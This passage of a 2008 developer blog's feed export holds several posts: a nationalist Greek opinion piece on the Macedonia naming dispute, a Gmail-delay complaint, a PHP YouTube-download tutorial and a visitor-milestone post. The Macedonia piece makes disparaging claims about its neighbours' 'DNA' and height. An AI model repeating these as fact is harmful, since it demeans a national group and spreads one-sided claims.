human's work-&lt;a href="http://en.wikipedia.org/wiki/Leopold_Kronecker"&gt;Leopold Kronecker&lt;/a&gt;)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3318800435561229648?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/3318800435561229648/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=3318800435561229648' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3318800435561229648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3318800435561229648'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/03/google-interviews-part-v-just-two-more.html' title='Google Interviews Part V - Just Two More Questions'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R8snsMlTFAI/AAAAAAAAADQ/ypO8YD6k0jw/s72-c/_google_interview.jpg' height='72' width='72'/><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2945472497791128355</id><published>2008-02-23T12:13:00.000-08:00</published><updated>2009-10-06T14:19:05.363-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Macedonia - It's All In The Name</title><content type='html'>The &lt;a href="http://en.wikipedia.org/wiki/Macedonia_naming_dispute"&gt;Macedonia naming dispute&lt;/a&gt; has been around for almost 15 years now. It is currently in top international news thanks to another 'diplomacy magician', Mr Matthew Nimic (or Matthew Nimitz if you prefer), again re-proposing a menu of composite names for FYROM, from which we should select one (like a multiple choice). It is a battle that Greece lost some years ago but still keeps haunting its public affairs.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/R8CVgPjJFkI/AAAAAAAAAC4/iY63DIIRRQM/s1600-h/326px-Macedonia_Greece-Republic.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 230px; height: 157px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/R8CVgPjJFkI/AAAAAAAAAC4/iY63DIIRRQM/s200/326px-Macedonia_Greece-Republic.jpg" alt="" id="BLOGGER_PHOTO_ID_5170296753383609922" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;To begin with, the problem has two players: Greece on the one side and on the other side the-how-should-I-call-it, former Yugoslavian Republic Of Macedonia(FYROM). The problem is really complex and lies not only in the naming of FYROM, but also in the historical distortions and nationalist allegations it might yield. It is so important that is alive for some decades now and has triggered significant political events in both countries.&lt;br /&gt;&lt;br /&gt;I am from Greece and it is a dispute I have lived with, throughout my entire life. I can still remember the ridiculous rallies that as a student I was engaged in (at the age of 9 or 10) during which we kept saying to ourselves: "Hell yeah, Macedonia is Greek!" and then went to our homes being sure we had done our job. In the meanwhile, Greek diplomacy was losing the one battle after the other and now we are engaged in talks of the so-called "composite naming". In other words, the naming dispute is a battle we have already lost. But let's take things from the beginning.&lt;br /&gt;&lt;br /&gt;The whole buzz started in 1991. Tito's Yugoslavia is being teared apart and a new nation arises claiming to be the "Republic Of Macedonia". Kiro Gligorov is FYROM's Prime Minister and Costas Mitsotakis is Greece's. EU is using the name 'Macedonia' to which Greece objects and the dispute has just been born. In April 1992, Mr. Pineiro, Minister of Foreign Affairs of Portugal attempts to solve the problem, by suggesting the name 'New Macedonia', Greece says 'Yeah right' and a fierce political warfare begins. In the key UN General Assembly of 1993 FYROM enters United Nations with the &lt;span style="font-weight: bold;"&gt;provisional reference &lt;span style="font-weight: bold;"&gt;"former Yugoslav Republic Of Macedonia" &lt;/span&gt;&lt;/span&gt;hence FYROM. Both terms here are important. &lt;span style="font-style: italic;"&gt;Provisional &lt;/span&gt;means that this is temporary situation and &lt;span style="font-style: italic;"&gt;reference &lt;/span&gt;means that FYROM is not the name of the state. UN washed its hands and said that the name was an issue to be resolved. China is the first to recognize FYROM as 'Republic Of Macedonia'. In the course of 1993 and 1994 all EU countries and USA, Japan and Russia also do the same, resulting in the loss of the naming battle. &lt;span style="font-weight: bold;"&gt;Greek diplomacy had tragically failed &lt;/span&gt;leading to political instability and the eventual fall of the government in October 1993. Whatever followed was just talks and talks, without any substantial political importance. The course had been drawn in 1993.&lt;br /&gt;&lt;br /&gt;However, a key-development in the dispute was the &lt;span style="font-weight: bold;"&gt;'Intermediate Agreement' &lt;/span&gt;in New York,1995. Greece lifted the economic embargo on FYROM that &lt;a href="http://en.wikipedia.org/wiki/Andreas_Papandreou"&gt;Andreas Papandreou &lt;/a&gt;had imposed as soon he had been elected Prime Minister and FYROM, on the other hand, abandoned a whole series of ridiculous actions: Using the Vergina Star (Ancient Macedonian symbol) as the national flag, correcting their constitution that was referring to &lt;span style="font-style: italic;"&gt;'Macedonian people and their rights in adjacent countries'&lt;/span&gt; and many other nonsense. While all other issues were solved the naming dispute was not, and it was agreed that the two countries should do that under the auspices of UN. In the agreement, Greece agreed not to refrain FYROM from entering international organizations, provided that it would enter with the name FYROM.&lt;br /&gt;&lt;br /&gt;Now the news is that, our neighbor wishes to enter the NATO alliance while Greece says it will not agree and &lt;span style="font-weight: bold;"&gt;will impose a veto&lt;/span&gt; on FYROM's bid, if the naming dispute is not resolved beforehand. One of the criterions for entering NATO is '&lt;span style="font-style: italic;"&gt;good behavior and relationships whith neighbors'&lt;/span&gt; , which is Greece's front line of defense. This also is not in contradiction with the New York Intermediate Agreement, since this was an out-of-NATO agreement and hence does not affect in-NATO affairs.&lt;br /&gt;&lt;br /&gt;Whatever might happen, today almost 123 countries have recognized FYROM as 'Republic Of Macedonia'. For the most of the foreigners, it is hard to understand the significance of this dispute. Anyone should be free to choose the name he desires, right? If people leaving in Skopje want to use the name 'Macedonia' for self-definition, so be it, right? Well yes, as long as this does not hurt anyone, this is true. For Greeks, Macedonia is a part of the land's history to be proud of. I will not try to give proofs that Macedonia is closely tied to Greek history. It was just another city-state like Athens or Sparta hence it is absolutely ridiculous to try to give any historical proof that Macedonia is Greek. For me it is.&lt;br /&gt;&lt;br /&gt;As a little boy, I couldn't understand why this should even be a 'dispute'. It seemed to me that it was so easy to prove that Macedonia was Greek (Macedonians were speaking the Greek language, they lived in the area of Vergina which is a Greek town blah blah..) that it should not be an issue in the first place.&lt;br /&gt;&lt;br /&gt;Well, now I know to some extent of course, that international diplomacy works otherwise. Some countries simply do not care about history but about business. For example, China.Who cares in China about the Macedonia dispute? The quickly recognized it (I am sure they didn't even have to look at the name) and started making business with the new country (FYROM was the usual entrance of Chinese products to the European market)  Some on the other hand, follow USA which generally is busy creating problems in the Balkans area and carefully maintains a hot-spot inside Europe's heart by promoting Albans allegations (support of Albans during Serbia's civil wars then NATO bombings  then support of Kosovo's independence, seems to me as a nice strategic plan)&lt;br /&gt;&lt;br /&gt;However we are not cry-babies nor do we wish spending our lives correcting anyone who uses the term 'Macedonia' instead of FYROM. After all, our economic relations have flourished , proving once again that economy players live in their own world. Despite all the political heat and the tension between the two countries, the volume of our financial transactions has been up 1500% from 1995 to 2006 (50 million $ in 1995 and 800 million $ in 2006) &lt;span&gt;Imagine what will happen if we start franchising other ancient Greek names. Then our economy will skyrocket!&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;In summary my view is this: I look with sympathy our neighbor that is trying to find an identity to be proud of. However, the distortion that this causes is much more significant. People might connect the term 'Macedonia', 'Alexander The Great' and others with a territory that had nothing to do with Ancient and Modern Macedonia but also more importantly with people that have a negative DNA match with Ancient Greece. If this sounds nationalist so be it. I will keep on spending my time for this cause nonetheless. And we will keep on editing ridiculous Wikipedia articles &lt;a href="http://en.wikipedia.org/wiki/Republic_of_Macedonia"&gt;like this one about FYROM&lt;/a&gt;:&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;"&lt;span style="font-style: italic;"&gt;Over the centuries the territory which today forms the Republic of Macedonia was ruled by a number of different states and former empires, but &lt;span style="font-weight: bold;"&gt;Macedonian blood&lt;/span&gt; has always run in the genes of the Macedonians living in this region."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;How ridiculous does this sound?? If anyone wishes to play on blood terms he can try understanding this:&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span&gt;&lt;span style="font-style: italic;"&gt;"Αλέξανδρος Φιλίππου και οι Έλληνες πλην Λακεδαιμονίων"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;That's all Greek to you? I am sure it is.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;P.S - Not important since it has historical truths&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;To be serious &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;it is all in the name:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; Macedonian comes from the Greek &lt;/span&gt;&lt;span style="font-style: italic;"&gt;"μακεδνός" (makednos) &lt;/span&gt;&lt;span style="font-style: italic;"&gt;meaning someone which is tall. Greek Macedonians are generally tall people compared to the 1.65 average of the other 'edition'&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Kiro_Gligorov"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2945472497791128355?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/2945472497791128355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=2945472497791128355' title='159 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2945472497791128355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2945472497791128355'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/macedonia-its-all-in-name.html' title='Macedonia - It&apos;s All In The Name'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/R8CVgPjJFkI/AAAAAAAAAC4/iY63DIIRRQM/s72-c/326px-Macedonia_Greece-Republic.jpg' height='72' width='72'/><thr:total>159</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7688503057013336403</id><published>2008-02-17T14:16:00.000-08:00</published><updated>2008-12-09T07:12:06.616-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Gmail: How Slow Can We Go?</title><content type='html'>Today, I received a call from a friend asking me if I got the e-mail she had wrote a half an hour earlier to my &lt;span style="font-weight: bold;"&gt;Gmail account&lt;/span&gt;. I said no, and assumed that she had sent it to a wrong address.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7i2cfjJFjI/AAAAAAAAACw/gcgKzXw_bhg/s1600-h/gmaillogo2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7i2cfjJFjI/AAAAAAAAACw/gcgKzXw_bhg/s200/gmaillogo2.jpg" alt="" id="BLOGGER_PHOTO_ID_5168081173029131826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;However, 3-4 hours later, I received the mail we were talking about and became suspicious after remembering some other similar incidents in which I had suspected delivery delays from Gmail. I made a quick search and found out that this is a 'hot' subject recently, both in blogs and discussion groups. For example &lt;a href="http://gizmodo.com/356325/gmail-message-delay-problems-anyone"&gt;this Gizmodo post from Feb 2008&lt;/a&gt; or &lt;a href="http://www.readwriteweb.com/archives/gmail_delivery_delays.php"&gt;this recent article&lt;/a&gt;, raise the exact same question and the users ' feedback indicates that there is actually a Gmail delivery problem.&lt;br /&gt;&lt;br /&gt;I only hope that it is Google to blame and not anybody else..(who said NSA?)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7688503057013336403?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/7688503057013336403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=7688503057013336403' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7688503057013336403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7688503057013336403'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/gmail-how-slow-can-we-go.html' title='Gmail: How Slow Can We Go?'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R7i2cfjJFjI/AAAAAAAAACw/gcgKzXw_bhg/s72-c/gmaillogo2.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4390432693617048868</id><published>2008-02-13T23:27:00.000-08:00</published><updated>2008-12-09T07:12:06.766-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>How To Download YouTube Videos with PHP</title><content type='html'>&lt;span style="font-style: italic;"&gt;[Update #1: In a next post you can find &lt;a href="http://developeronline.blogspot.com/2008/04/popular-demand-youtube-download-php.html"&gt;the full Youtube Download PHP scripts&lt;/a&gt;. However browsing through this article will help you understand the technique hidden in the source code. your choice!]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As everybody else I suppose, I have used some software but also sites to download YouTube videos. I used to made a wrapper software that used &lt;a href="http://www.techcrunch.com/get-youtube-movie/"&gt;this techcrunch tool&lt;/a&gt;. There is a vast collection of tools available that could do the job as easily as this. However, there is some time now (1 or 2 months) that all these have...stopped working. You can see for yourself. Try searching for 'youtube video download tool' and roam on the results for a while. You will find out that the vast majority of these sites are basically 'out-of-service'. Perhaps because of legal issues.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/R7Q1o_jJFiI/AAAAAAAAACo/afY50AJEq_4/s1600-h/youtubelogo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 159px; height: 73px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/R7Q1o_jJFiI/AAAAAAAAACo/afY50AJEq_4/s200/youtubelogo.png" alt="" id="BLOGGER_PHOTO_ID_5166813650870670882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Anyway, to hell with 'cloud computing', I said, and decided to write my own code for downloading videos from YouTube. You may have noticed a small &lt;span style="font-style: italic;"&gt;iframe&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;in the right bottom corner of the blog with the name 'DOL Gadgets' &lt;/span&gt;(under the categories section). It basically hosts some PHP code that runs in my machine and can provide download links for YouTube videos. Regardless, the language you use to write the code, one has to overcome a small problem. The initial YouTube video link does not contain explicitly a link where the video actually is hosted. So, there are some small tricks you have to employ.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;First thing is to discover how your browser finds the content to play. As an example let's say you click on the Eric Prydz's Armed video with the URL being:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://www.youtube.com/watch?v=T0XIMkuo81Q&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In Firefox, I used the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3829"&gt;Live Http Headers add-on&lt;/a&gt; to make a little spying. Using this tool we can watch in real time the &lt;span style="font-style: italic;"&gt;http &lt;/span&gt;communication that is going on while you are browsing (GET/POST requests, responses, headers etc) The first thing to notice is that the browser finally makes a request like this:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;GET /get_video?video_id=T0XIMkuo81Q&amp;amp;t=OEgsToPDskJW2DY1pibC1Tu7D7tVOZrE&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;If you put it directly into the browser this will open a Save File Dialog for you to download it. Saving the file with an &lt;span style="font-style: italic;"&gt;flv &lt;/span&gt;extension finishes our job. But to create a request like this?&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;There are 2 parameters in this: the &lt;span style="font-style: italic;"&gt;video_id &lt;/span&gt;and &lt;span style="font-style: italic;"&gt;t&lt;/span&gt;. The first is what you already know from the initial URL. The latter, which I tend to call it &lt;span style="font-style: italic;"&gt;ticket,&lt;/span&gt; is not available but somehow the browser locates it (or the player). So the plan is clear: get the &lt;span style="font-style: italic;"&gt;video_id &lt;/span&gt;from the initial URL and then try to find the &lt;span style="font-style: italic;"&gt;ticket.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Let's begin from the harder one.  Since there is no other alternative the &lt;span style="font-style: italic;"&gt;ticket &lt;/span&gt;should be communicated in the initial request or some subsequent. Opening the source of the page that is returned from the initial video URL we can find that the &lt;span style="font-style: italic;"&gt;ticket &lt;/span&gt;is actually there. To get the &lt;span style="font-style: italic;"&gt;video_id &lt;/span&gt;we simply process the initial URL. Now we are done. The scenario is complete:&lt;br /&gt;&lt;br /&gt;1. Get the page returned from the initial URL&lt;br /&gt;2. Retrieve the &lt;span style="font-style: italic;"&gt;ticket &lt;/span&gt;from this page&lt;br /&gt;2. Retrieve the &lt;span style="font-style: italic;"&gt;video_id &lt;/span&gt;from the initial URL&lt;br /&gt;4. Create the GET request using the &lt;span style="font-style: italic;"&gt;video_id &lt;/span&gt;and the &lt;span style="font-style: italic;"&gt;ticket&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;This is exactly what the PHP code does. (Excuse me for the poor PHP syntax and coding, but I am far from being comfortable with the language) If &lt;span style="font-style: italic;"&gt;$location &lt;/span&gt;has the initial URL then :&lt;br /&gt;&lt;br /&gt;To execute step 1. we can use the following PHP snippet:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt; $handle = fopen($location, "r");&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;br /&gt;if($handle) {&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt; $contents = '';&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;br /&gt;while (!feof($handle)) {&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt; $contents .= fread($handle, 8192);&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt; }&lt;/span&gt; &lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;fclose($handle);&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;With this, we read the stream to the variable &lt;span style="font-style: italic;"&gt;$contents &lt;/span&gt;which now has the YouTube landing page.&lt;br /&gt;&lt;br /&gt;To execute step 2.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt; $result1 = preg_match("/&amp;amp;t=([\w]*)&amp;amp;/",$contents,$tickets);&lt;/span&gt; &lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;br /&gt;$ticket = $tickets[1];&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;The &lt;span style="font-style: italic;"&gt;preg_match &lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;is a regular expression matching function in PHP. Basically we match a pattern that can extract the &lt;span style="font-style: italic;"&gt;ticket &lt;/span&gt;against the YouTube page. It returns &lt;span style="font-style: italic;"&gt;true &lt;/span&gt;when there is a match and the matched groups (if any) are returned in the &lt;span style="font-style: italic;"&gt;$tickets. &lt;/span&gt;After this snippet the &lt;span style="font-style: italic;"&gt;$ticket &lt;/span&gt;variable has the needed string to construct the GET request.&lt;br /&gt;&lt;br /&gt;To execute step 3.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt; $result2 = preg_match("/v=(\w*)/",$location,$video_id);&lt;br /&gt;$id  = $video_id[1];&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;&lt;/span&gt;&lt;/span&gt;The same reasoning holds here.&lt;span style="font-style: italic;"&gt; $id &lt;/span&gt;has the video id(first parameter)&lt;br /&gt;&lt;br /&gt;To create the GET request and execute the last step we can use the php snippet&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;echo "&lt;"; echo "a href = \"http://www.youtube.com/get_video?video_id="; echo $id; echo "&amp;amp;t="; echo $ticket; echo "\"Download link."; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;This creates a hyperlink that when followed prompts to download the video file.&lt;br /&gt;&lt;br /&gt;That's all! One networking function, two simple regular expressions and ...done, we have a YouTube video downloading on our PC. Now, it is easy to expand the service. In subsequent posts, I will try to give code for the Javascript version, but also other enhancements like entering the video name rather than the video UR etc. Till then, feel free to use the tool in the blog site or adjust the code to your needs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4390432693617048868?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/4390432693617048868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=4390432693617048868' title='53 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4390432693617048868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4390432693617048868'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/download-youtube-videos-with-php.html' title='How To Download YouTube Videos with PHP'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/R7Q1o_jJFiI/AAAAAAAAACo/afY50AJEq_4/s72-c/youtubelogo.png' height='72' width='72'/><thr:total>53</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-5561160377335744141</id><published>2008-02-12T23:22:00.000-08:00</published><updated>2008-12-09T07:12:07.211-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Let's Celebrate For A Little - 1K Visitors!</title><content type='html'>This is a special day for the Developer On Line-DOL- blog. Today the number of &lt;span style="font-weight: bold;"&gt;unique visitors&lt;/span&gt; on this blog reached more or less the astronomical amount of 1024! Before making a little fun a sincere thanks to everybody that has visited this page and specially to anybody that is subscribed on the blog's feeds. Now I think it is time to introduce better, but in short, the story behind this blog and prove why it should keep ...existing!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7KoB_jJFfI/AAAAAAAAACQ/5WIkL9q31JA/s1600-h/0607_fireworks_green.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7KoB_jJFfI/AAAAAAAAACQ/5WIkL9q31JA/s200/0607_fireworks_green.jpg" alt="" id="BLOGGER_PHOTO_ID_5166376474739545586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It started in early September with the first &lt;a href="http://developeronline.blogspot.com/2007/09/hello-world.html"&gt;'Hello World' post.&lt;/a&gt; Initially I planned to keep it strictly technical but it is not easy to resist broadening the subjects (&lt;span style="font-style: italic;"&gt;sticking your nose everywhere is the right expression!)&lt;/span&gt;. One thing I have kept is the blog being ad-free and I plan to keep it that way. It is nice to have a clean place for me to write and for you to read.&lt;br /&gt;&lt;br /&gt;Trying to post original material is also in the 'routine'. The &lt;a href="http://developeronline.blogspot.com/2007/12/book-stacking-problem.html"&gt;book stacking problem post&lt;/a&gt; is a good example on that. I won't say that everything here is 100% 'cotton' (this is your job!) but I confess having canceled posts that I found that had nothing new to add compared to other web sites. There is no meaning in reposting news, or republishing articles or code that is already there and is freely accessible.&lt;br /&gt;&lt;br /&gt;Despite being around for almost 6 months, it is true that I have not been so productive. There are a total of 20 posts in this period that equal to less than 1 post per week. DOL promises to intensify the posting process&lt;span style="font-style: italic;"&gt;&lt;/span&gt; and has already masterminded and executed the perfect business plan for that. I only have to wait for today's lottery and these six numbers to come up and I will be devoted in this blog for the rest of my life...!&lt;br /&gt;&lt;br /&gt;Some statistics now. You may have noticed that this blog is using Google Analytics to measure blog traffic. It is an easy and nice way to keep track of how people find our page and how they navigate inside it. By understanding how people get to your page, you can increase blog traffic and although I do not earn money from this, it helps me in asserting the quality of the content.  Here is some statistics of the countries that have visited this blog. US and Greece stands out, much ahead than other countries(UK, India etc) The main sources come from search engines in which DOL generally ranks pretty well.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7KxY_jJFgI/AAAAAAAAACY/wVrHHZaR5_A/s1600-h/googleanalytics.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7KxY_jJFgI/AAAAAAAAACY/wVrHHZaR5_A/s320/googleanalytics.JPG" alt="" id="BLOGGER_PHOTO_ID_5166386765481186818" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;DOL visitors in six months&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Once again, thanks to everybody.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IMPORTANT:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PS. Now that DOL has this enormous influence, it officially endorses Barack Obama for President of the US!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;If he loses, DOL invites him to Greece; we urgently need a Prime Minister and we desperately need change...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-5561160377335744141?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/5561160377335744141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=5561160377335744141' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5561160377335744141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5561160377335744141'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/lets-celebrate-for-little-1k-visitors.html' title='Let&apos;s 